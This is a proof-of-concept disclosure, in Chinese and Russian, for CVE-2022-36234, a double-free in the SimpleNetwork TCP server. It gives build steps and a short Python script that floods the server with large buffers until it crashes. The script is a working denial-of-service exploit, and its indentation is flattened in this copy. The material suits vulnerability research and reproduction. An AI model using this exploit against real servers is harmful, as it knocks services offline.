
CVE-2022-36234的概念验证
Было обнаружено, что коммит 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 SimpleNetwork TCP Server содержит уязвимость двойного освобождения, которая используется с помощью специально сформированных TCP-пакетов. Вызов двойного освобождения позволяет клиентам удалённо аварийно завершить работу любого SimpleNetwork TCP-сервера. В других ситуациях уязвимости двойного освобождения могут вызывать неопределённое поведение и, при определённых условиях, выполнение кода.
Чтобы убедиться, что у вас есть стандартные инструменты сборки, необходимые для компиляции библиотеки, установите следующие пакеты (в большинстве систем они уже будут установлены):
sudo apt-get install build-essential git
Уязвимость можно воспроизвести, отправляя последовательные запросы на сервер, содержащие большой буфер символов в TCP-пакете. Сначала скомпилируйте библиотеку 'libSimpleNetwork' и пример сервера, предоставленные в исходном коде:
git clone https://github.com/kashimAstro/SimpleNetwork.git
cd SimpleNetwork
git checkout 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496
cd src
make
cd ../example-server
make
./server 80 1
import socket
host = "localhost"
port = 80 # The same port as used by the server
buf = b'A'*10000
try:
for i in range(50):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
python3 poc.py
В случае успеха сервер аварийно завершит работу, и вы увидите следующий вывод приложения:
segmentation fault ./server 80 1